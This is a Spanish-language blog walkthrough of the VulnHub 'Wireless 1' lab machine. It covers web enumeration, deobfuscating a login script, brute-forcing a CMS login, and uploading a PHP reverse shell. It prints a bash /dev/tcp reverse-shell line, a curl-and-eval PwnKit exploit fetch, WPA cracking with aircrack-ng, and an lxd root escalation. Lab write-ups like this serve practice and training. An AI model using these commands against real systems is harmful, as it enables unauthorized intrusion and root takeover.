martes, 26 de julio de 2022

Breaking Wireless 1

 https://www.vulnhub.com/entry/wireless-1,669/

- Más fácil de lo que parece

- Enumeración 22,80,8080,8000

- En 80 está el apache plano, vamos a 8000 y está un voip. El ssh lo dejamos de momento y puede que no haga falta

- El vector de entrada parece el puerto 8000, tiene página de login y el user podemos probarlo con lo que se ve en la página principal, lo que nunca debe hacerse, jinmori@voip.in.  Bruteforceamos con Burp pero no sale nada. 

- Miramos más en la web, y el login.js contiene un base64 que oculta un javascript ofuscado

var _0xb5c3=["\x6A\x69\x6E\x6D\x6F\x72\x69","\x54\x68\x65\x20\x71\x75\x69\x63\x6B\x20\x62\x72\x6F\x77\x6E\x20\x66\x6F\x78\x20\x6A\x75\x6D\x70\x73\x20\x6F\x76\x65\x72\x20\x74\x68\x65\x20\x6C\x61\x7A\x79\x20\x64\x6F\x67","\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"];document.write(_0xb5c3);var u=_0xb5c3[0];var string=_0xb5c3[1];var a=string[_0xb5c3[2]](0);var b=string[_0xb5c3[2]](36);var c=string[_0xb5c3[2]](2);var d=string[_0xb5c3[2]](8);var e=string[_0xb5c3[2]](13);var f=string[_0xb5c3[2]](12);var g=string[_0xb5c3[2]](14);var h=string[_0xb5c3[2]](40);var i=string[_0xb5c3[2]](12);var p=String[_0xb5c3[3]](a,b,c,d,e,f,g,h,i);document.write(p);

lo modificamos un poco y sale la clave:  Taekwondo

- Entramos, y poco puede hacerse excepto ver los logs

http://192.168.2.20:8000/voip_logs

De ahí sacamos un nuevo dominio de prueba: wireless.com

- Entramos y es un cms simple con su login. De nuevo aparece un user: juniordev, ahora sí bruteforceamos con Burp y sale pass passion. Entramos

- Analizamos el cms y podemos subir archivos --> subir un shell reverse. Lo hacemos cambiando la extensión a .phar y entramos por cmd

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.X/8888 0>&1'"); ?>

- Directamente con suid3num.py encontramos polkit-agent-helper-1 con lo que hay que probar este vector de entrada: 

www-data@VOIP:/tmp$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"

<nt.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"

cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c

cc -Wall    cve-2021-4034.c   -o cve-2021-4034

echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules

mkdir -p GCONV_PATH=.

cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.

id

uid=0(root) gid=0(root) groups=0(root),33(www-data)

- No es seguramente la solución a priori porque hay un user home coherer con su flag, pero de esta manera es más rápido y directo. Quizá es un fallo del autor de la máquina, que habría pensado que hay que acceder al shell por el usuario coherer. ¿Cómo?

- en la página original sacábamos no solo el domain wireless.com sino que era para testing

podemos pensar en testing.wireless.com

 y ahí encontramos el uso del puerto 8080. Encontramos un bot con el que hay que probar, help por ejemplo y nos da varias opciones, por ejemplo Aircrack-ng  y Logs. Con el Aircrack-ng bajamos un pcap wifi de la red coherer, luego ya nos pone sobre la pista, y con Logs un documento en principio sin utilidad. Con wireshark echamos un vistazo y parece que podemos sacar la clave wifi de coherer. 

- se trata ahora de crackear la clave wpa, usando diccionarios varios o creando uno al efecto del documento log que hemos hallado:

hacemos cewl al documento -w dicwpa

y luego es bueno aplicar alguna regla john

john --wordlist=dicwpa--rules=best64 --stdout > wpacrack.lst

y finalmente

sudo aircrack-ng -a 2 -b 00:0c:41:82:b2:55 -w ../wireless/wpacrack.lst /mnt/d/vulnv/WPA-Capture.pcap -e Coherer

 KEY FOUND! [ Induction ]

- Hacemos ssh con estas credenciales y ya estamos dentro. Solo que de nuevo parece que la única posibilidad de escalar a root es con la vulnerabilidad polkit, que podía aplicarse solo con el usuario apache.

*POST

por supuesto que se trataba de usar el vector lxd.

La manera de hacerlo es la siguiente:

- descargar en la víctima los archivos: lxd.tar.xz y rootfs.squashfs ya compilados en nuestra máquina

- lxd init y entonces lxc image import lxd.tar.xz rootfs.squashfs --alias alpine lxc init alpine privesc -c security.privileged=true lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true lxc start privesc lxc exec privesc /bin/sh

entramos al container y luego tenemos el filesystem en mnt




No hay comentarios:

Publicar un comentario